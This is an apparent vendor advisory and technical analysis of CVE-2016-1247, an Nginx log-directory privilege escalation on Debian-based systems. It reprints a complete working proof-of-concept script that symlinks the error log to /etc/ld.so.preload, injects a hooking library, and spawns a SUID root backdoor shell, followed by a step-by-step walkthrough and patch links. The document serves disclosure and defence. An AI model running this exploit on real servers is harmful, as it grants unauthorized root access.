Nginx Local Privilege Escalation Vulnerability Technical Analysis and Solution

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On November 15, 2016 (local time), legalhackers.com released an advisory about a privilege escalation vulnerability, assigned CVE-2016-1247, found in the Nginx server. Nginx web server packaging on Debian-based distributions, such as Debian or Ubuntu, was found to allow creating log directories with insecure permissions. Attackers could exploit this security issue to escalate their privileges from Nginx/web user to root.For details, click the following link:http://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

What Is Nginx?

Nginx (pronounced “engine x”) is a web server. It can act as a reverse proxy server for HTTP, HTTPS, SMTP, POP3, and IMAP protocols, as well as a load balancer and an HTTP cache. Nginx was originally developed to fill the needs of large web portals and the search engine Rambler in Russia. Released under the terms of a BSD-like license, Nginx runs on such operating systems as UNIX, GNU/Linux, BSD, Mac OS X, Solaris, and Microsoft Windows. (Translated from an article about Nginx on https://zh.wikipedia.org/wiki/Nginx.)

Vulnerability Verification

Following is the PoC code written by Dawid Golunski.

------------[ nginxed-root.sh ]--------------

#!/bin/bash
#
# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# etc.) to escalate their privileges from nginx web server user (www-data) to root 
# through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation 
# has been configured. 
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log 
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $ERRORLOG
    touch $ERRORLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
    cleanexit 0
}

#intro 

cat <<_eascii_
 _______________________________
< Is your server (N)jinxed ? ;o >
 -------------------------------
           \ 
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.  
             .-XXX(   O   O  )XXXXXXXXXXXXXXX- 
            /XXX(       U     )        XXXXXXX\ 
          /XXXXX(              )--_  XXXXXXXXXXX\ 
         /XXXXX/ (      O     )   XXXXXX   \XXXXX\ 
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""
_eascii_

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
    echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
    exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
    exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
    echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
    exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    exit 2
fi

# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily 
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do 
    sleep 1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        rm -f $ERRORLOG
        break;
    fi
done

# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi

rm -f $ERRORLOG
echo > $ERRORLOG
 
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"

# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0

Vulnerable and Fixed Packages

Debian

Figure 1 Vulnerable and fixed Debian packages

Ubuntu

Ubuntu has fixed the following versions:

Figure 2 Fixed Ubuntu versions

Vulnerability Analysis

Nginx, after being installed, creates the Nginx log directory (…/log/nginx) with user permissions. Therefore, during system operation, attackers can manipulate files in this directory. Permissions for this directory are shown in the following figure.

Figure 3 Permissions for the /log/nginx directory

With user permissions for the /log/nginx directory, local users can change log files in this directory with a symlink to an arbitrary file. Besides, Nginx performs write operations on files linked to logs when restarting or receiving a USR1 process signal. Because of these, attacker can escalate their privileges.

After replacing log files with a symlink, attackers need to wait for the Nginx daemon to reopen these log files. For this to happen, Nginx needs to be restarted or the daemon needs to receive a USR1 process signal.

However, on a Debian-based system, the USR1 signal is sent automatically through the logrotate script that calls the do_rotate() function.

Figure 4 logrotate script

Figure 5 do_rotate() function

The logrotate script is executed on default system installations at 6:25 a.m. every day.

Figure 6 Scheduled task

Therefore, attackers can escalate their privileges within 24 hours. Following is an analysis of the PoC. Parameters are set as follows:

Figure 7 Parameters in the PoC

The program first checks whether the path to error.log typed by the user is correct.

Figure 8 Check of the path to error.log

Compile the privilege escalation file as follows:

Figure 9 Compilation of the privilege escalation file

Prepare the backdoor shell:

Figure 10 Backdoor shell

Delete error.log and create a symlink to point to /etc/ld.so.preload:

Figure 11 Creation of a symlink

After all is ready, wait for error.log to reopen.

Figure 12 Wait for error.log to reopen

Change access permissions for /etc/ld.so.preload:

Figure 13 Change of permissions for /etc/ld.so.preload

Escalate privileges via the SUID binary:

Figure 14 Privilege escalated via SUID

Check for the rootshell:

Figure 15 Check for the rootshell

Execute the rootshell:

Figure 16 Execution of the rootshell

The final execution result is as follows:

Figure 17 Execution result

Key points for triggering the vulnerability:

The /var/log/nginx directory is owned by a non-root user who has the write permission.
As the /etc/ld.so.preload file needs to be written into the PoC, the write permission for this file is required.

Figure 18 Write of privilege escalation functions into /etc/ld.so.preload

Figure 19 Execution failure caused by inability to write /etc/ld.so.preload

Vendor Solutions

Debian and Ubuntu have fixed this vulnerability. Users are advised to upgrade to a version not affected by this vulnerability. Download links are as follows:

Debian

Nginx package

https://sources.debian.net/src/nginx/

Ubuntu 16.10

Nginx package 1.10.1-0ubuntu1.1

https://launchpad.net/ubuntu/+source/nginx/1.10.1-0ubuntu1.1

Ubuntu 16.04 LTS

Nginx package 1.10.0-0ubuntu0.16.04.3

https://launchpad.net/ubuntu/+source/nginx/1.10.0-0ubuntu0.16.04.3

Ubuntu 14.04 LTS

Nginx package 1.4.6-1ubuntu3.6

https://launchpad.net/ubuntu/+source/nginx/1.4.6-1ubuntu3.6

Nginx Local Privilege Escalation Vulnerability Technical Analysis and Solution